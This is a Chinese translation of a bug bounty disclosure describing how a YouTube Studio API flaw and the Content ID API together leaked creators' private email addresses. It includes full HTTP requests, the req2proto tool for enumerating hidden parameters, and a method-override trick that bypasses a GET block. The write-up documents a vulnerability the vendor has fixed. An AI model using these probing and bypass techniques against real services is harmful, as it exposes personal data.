披露 YouTube 创作者邮箱获得 2 万美元赏金
前段时间,在排查 Google API 请求时,我发现可以在任何 Google API 端点中泄露所有请求参数。这是可能的,因为不管什么原因,发送带有错误参数类型的请求会返回关于该参数的调试信息:
请求
POST /youtubei/v1/browse HTTP/2Host: youtubei.googleapis.comContent-Type: application/jsonContent-Length: 164{"context": {"client": {"clientName": "WEB","clientVersion": "2.20241101.01.00", } },"browseId": 1}
服务器实际上期望
browseId
是一个字符串,如"UCX6OQ3DkcsbYNE6H8uQQuVA"
响应
HTTP/2 400 Bad RequestContent-Type: application/json; charset=UTF-8Server: scaffolding on HTTPServer2{"error": {"code": 400,"message": "Invalid value at 'browse_id' (TYPE_STRING), 1","errors": [ {"message": "Invalid value at 'browse_id' (TYPE_STRING), 1","reason": "invalid" } ],"status": "INVALID_ARGUMENT", ... }}
虽然 YouTube 的 API 通常为网页使用 JSON 请求,但它实际上还支持另一种称为 ProtoJson 或 application/json+protobuf
的格式。
这允许我们以数组形式指定参数值,而不是像在 JSON 中那样使用参数名。我们可以滥用这种逻辑,为所有参数提供错误的参数类型而无需知道其名称,从而泄露有关整个可能请求负载的信息。
请求
POST /youtubei/v1/browse HTTP/2Host: youtubei.googleapis.comContent-Type: application/json+protobufContent-Length: 22[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30]
响应
HTTP/2 400 Bad RequestContent-Type: application/json; charset=UTF-8Server: scaffolding on HTTPServer2{"error": {"code": 400,"message": "Invalid value at 'context' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext), 1nInvalid value at 'browse_id' (TYPE_STRING), 2nInvalid value at 'params' (TYPE_STRING), 3nInvalid value at 'continuation' (TYPE_STRING), 7nInvalid value at 'force_ad_format' (TYPE_STRING), 8nInvalid value at 'player_request' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.PlayerRequest), 10nInvalid value at 'query' (TYPE_STRING), 11nInvalid value at 'has_external_ad_vars' (TYPE_BOOL), 12nInvalid value at 'force_ad_parameters' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ForceAdParameters), 13nInvalid value at 'previous_ad_information' (TYPE_STRING), 14nInvalid value at 'offline' (TYPE_BOOL), 15nInvalid value at 'unplugged_sort_filter_options' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedSortFilterOptions), 16nInvalid value at 'offline_mode_forced' (TYPE_BOOL), 17nInvalid value at 'form_data' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseFormData), 18nInvalid value at 'suggest_stats' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.SearchboxStats), 19nInvalid value at 'lite_client_request_data' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.LiteClientRequestData), 20nInvalid value at 'unplugged_browse_options' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedBrowseOptions), 22nInvalid value at 'consistency_token' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ConsistencyToken), 23nInvalid value at 'intended_deeplink' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DeeplinkData), 24nInvalid value at 'android_extended_permissions' (TYPE_BOOL), 25nInvalid value at 'browse_notification_params' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseNotificationsParams), 26nInvalid value at 'recent_user_event_infos' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.RecentUserEventInfo), 28nInvalid value at 'detected_activity_info' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DetectedActivityInfo), 30", ...}
为了自动化这个过程,我编写了一个名为 req2proto 的工具。
$ ./req2proto -X POST -u https://youtubei.googleapis.com/youtubei/v1/browse -p youtube.api.pfiinnertube.GetBrowseRequest -o output -d 3
如果我们查看 output/youtube/api/pfiinnertube/message.proto
中的输出,我们可以看到这个端点的完整请求负载:
syntax = "proto3";package youtube.api.pfiinnertube;message GetBrowseRequest { InnerTubeContext context = 1; string browse_id = 2; string params = 3; string continuation = 7; string force_ad_format = 8; int32 debug_level = 9; PlayerRequest player_request = 10; string query = 11; ...}...
有了这个工具,我开始四处寻找带有能让我们泄露调试信息的秘密参数的 API 端点。
一个看似安全的端点
如果你曾经观察过 YouTube Studio 加载"收益"标签时发送的请求,你可能会注意到以下请求:
POST /youtubei/v1/creator/get_creator_channels?alt=json HTTP/2Host: studio.youtube.comContent-Type: application/jsonCookie: <已编辑>{"context": { ... },"channelIds": ["UCeGCG8SYUIgFO13NyOe6reQ" ],"mask": {"channelId": true,"monetizationStatus": true,"monetizationDetails": {"all": true }, ... }}
它用于获取显示在"收益"标签上的我们自己的频道数据。话虽如此,实际上可以用它获取其他频道的元数据,尽管能使用的掩码极少:
请求
POST /youtubei/v1/creator/get_creator_channels?alt=json HTTP/2Host: studio.youtube.comContent-Type: application/jsonCookie: <已编辑>{"context": { ... },"channelIds": ["UCdcUmdOxMrhRjKMw-BX19AA" ],"mask": {"channelId": true,"title": true,"thumbnailDetails": {"all": true },"metric": {"all": true },"timeCreatedSeconds": true,"isNameVerified": true,"channelHandle": true }}
响应
HTTP/2 200 OKContent-Type: application/json; charset=UTF-8Server: scaffolding on HTTPServer2{"channels": [ {"channelId": "UCdcUmdOxMrhRjKMw-BX19AA","title": "Niko Omilana", ..."metric": {"subscriberCount": "7700000","videoCount": "142","totalVideoViewCount": "650836435" },"timeCreatedSeconds": "1308700645","isNameVerified": true,"channelHandle": "@Niko", } ]}
这些掩码看起来相当安全。如果我们尝试为一个我们没有访问权限的频道请求任何可能敏感的其他掩码,我们会遇到权限被拒绝的错误:
{"error": {"code": 403,"message": "The caller does not have permission","errors": [ {"message": "The caller does not have permission","domain": "global","reason": "forbidden" } ],"status": "PERMISSION_DENIED" }}
泄露秘密隐藏参数
事实证明,如果我们用 req2proto 导出这个端点的请求负载,我们可以看到实际上有两个秘密隐藏参数:
syntax = "proto3";package youtube.api.pfiinnertube;message GetCreatorChannelsRequest { InnerTubeContext context = 1; string channel_ids = 2; CreatorChannelMask mask = 4; DelegationContext delegation_context = 5; bool critical_read = 6; // ??? bool include_suspended = 7; // ???}
启用 criticalRead
似乎没有改变任何东西,但 includeSuspended
非常有趣:
{ ..."contentOwnerAssociation": {"externalContentOwnerId": "Ks_zqCBHrAbeQqsVRGL7gw","createTime": {"seconds": "1693939737","nanos": 472296000 },"permissions": {"canWebClaim": true,"canViewRevenue": true },"isDefaultChannel": false,"activateTime": {"seconds": "1693939737","nanos": 472296000 } }, ...}
它似乎泄露了频道的 contentOwnerAssociation
,但这到底是什么?
深入了解 Content ID
在 YouTube 中,有一种被称为 Content Manager 的特殊账户类型,这种账户只提供给少数受信任的版权所有者。通过这些账户,可以将音频/视频上传到 Content ID 作为资产,版权声明任何包含与你的资产相同的音频/视频的外部视频。
这些账户特别敏感,因为 Content Manager 账户允许你将找到的包含类似音频/视频的任何视频货币化。因此,这些特殊账户只提供给"具有复杂权利管理需求"的版权所有者。
YouTube 实际上为所有 300 万个获得货币化的 YouTube 创作者提供了这种工具的简化版本,称为 Copyright Match Tool。此工具只允许创作者请求删除使用其内容的视频,而不能将其货币化。
有趣的是,这个工具的后端与 Content Manager 相同。一旦频道获得货币化,就会创建一个 CONTENT_OWNER_TYPE_IVP
内容所有者账户:
{"contentOwnerId": "Ks_zqCBHrAbeQqsVRGL7gw","displayName": "Nia","type": "CONTENT_OWNER_TYPE_IVP","industryType": "INDUSTRY_TYPE_WEB","primaryContactEmail": "<已编辑>@gmail.com","timeCreatedSeconds": "1693939736","traits": {"isLongTail": true,"isAffiliate": false,"isManagedTorso": false,"isPremium": false,"isUserLevelCidClaimUpdateable": false,"isTorso": false,"isFingerprintEnabled": false,"isBrandconnectAgency": false,"isTwoStepVerificationRequirementExempt": false },"country": "FI"}
有趣的事实:"IVP" 实际上代表 Individual Video Partnership(个人视频伙伴关系),这是 YouTube 合作伙伴计划的旧名称!
所以,我们可以泄露频道关联的 IVP 内容所有者的 contentOwnerId
,但我们究竟能用它做什么呢?经过一些研究,我发现了 YouTube Content ID API,这是一个为拥有 Content Manager 账户的版权所有者设计的 API。contentOwners.list
端点看起来特别有趣。它接收内容所有者 ID 并返回他们的"冲突通知电子邮件"。
不幸的是,API 似乎在验证我没有 Content Manager 账户,对任何请求都返回禁止访问:
{"error": {"code": 403,"message": "Forbidden","errors": [ {"message": "Forbidden","domain": "global","reason": "forbidden" } ] }}
尽管这个端点只适用于那些拥有 Content Manager 账户的人,但我怀疑 IVP Content Owner 可能仍然有效。
我请我的一位拥有已获得货币化的 YouTube 频道的朋友在 API 浏览器 中测试这个端点,它成功了。
{"kind": "youtubePartner#contentOwnerList","items": [ {"kind": "youtubePartner#contentOwner","id": "kdVwk95TnaCSLJJfyIFoqw","displayName": "omilana7","conflictNotificationEmail": "<已编辑>@yahoo.co.uk" } ]}
冲突通知电子邮件是频道获得货币化时的电子邮件!
有趣的是,不知什么原因,尽管它在 API 浏览器中可以工作,但你实际上无法将此 API 添加到自己的 Google Cloud 项目中,因为它只为拥有实际 Content Manager 账户的用户开放。不过这并不重要,我们可以简单地使用 API 浏览器的客户端调用此 API。
组合攻击步骤
我们已经有了攻击所需的两个部分,让我们把它们组合起来!
-
使用
includeSuspended: true
获取/get_creator_channels
以泄露受害者的 IVP Content Owner ID。 -
使用 Content ID API Explorer 和一个与已获得货币化频道关联的 Google 账户来获取受害者 IVP Content Owner 的冲突通知电子邮件。
-
成功!
时间线
-
• 2024-12-12 - 向厂商发送报告 -
• 2024-12-16 - 厂商分类处理报告 -
• 2024-12-17 - 🎉 好发现! -
• 2025-01-21 - 小组奖励 $13,337。 理由:普通 Google 应用程序。漏洞类别是"绕过重要安全控制",PII 或其他机密信息。 -
• 2025-01-21 - 向厂商澄清这是在"普通 Google 应用程序"下奖励的。然而,www.youtube.com 和 studio.youtube.com 是第 1 级域名。参见:https://github.com/google/bughunters/blob/main/domain-tiers/external_domains_google.asciipb -
• 2025-01-23 - 小组额外奖励 $6,663。 理由:漏洞可能披露特别敏感用户数据的域名。漏洞类别是"绕过重要安全控制",PII 或其他机密信息。 -
• 2025-02-10 - 与厂商协调在 2025-03-13 披露 -
• 2025-02-13 - 🎉 Google VRP 赠送周边 -
• 2025-02-21 - 厂商确认问题已修复(披露后 T+71 天) -
• 2025-03-13 - 报告公开披露
附加说明
事实证明,includeSuspended
参数也可以从 InnerTube 发现文档中找到。
当你尝试正常获取发现文档时,会收到以下错误:
请求
GET /$discovery/rest HTTP/2Host: youtubei.googleapis.com
响应
HTTP/2 405 Method Not AllowedContent-Type: text/html; charset=UTF-8
似乎 youtubei.googleapis.com
有一些 ESPv2 规则设置为阻止 GET 请求,不管是什么原因。
我很快发现我们实际上可以通过发送 POST 请求,然后用 X-Http-Method-Override: GET
将其覆盖为 GET 来绕过阻止 GET 规则:
请求
POST /$discovery/rest HTTP/2Host: youtubei.googleapis.comX-Http-Method-Override: GET
响应
HTTP/2 200content-type: application/json; charset=UTF-8{"baseUrl": "https://youtubei.googleapis.com/","title": "YouTube Internal API (InnerTube)","documentationLink": "http://go/itgatewa", ...
更新 2025-03-01:生产环境(存档)和暂存环境(存档)发现文档已被移除。
如果我们使用 Ctrl-F 搜索 GetCreatorChannelsRequest,我们可以找到 includeSuspended
参数:
..."YoutubeApiInnertubeGetCreatorChannelsRequest": {"id": "YoutubeApiInnertubeGetCreatorChannelsRequest","properties": {"channelIds": {"items": {"type": "string" },"type": "array" }, ..."includeSuspended": {"type": "boolean" }, ... },"type": "object" }, ...
原文地址:https://brutecat.com/articles/youtube-creator-emails
原文始发于微信公众号(独眼情报):价值2万美元youtube 账号注册邮箱漏洞被披露
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论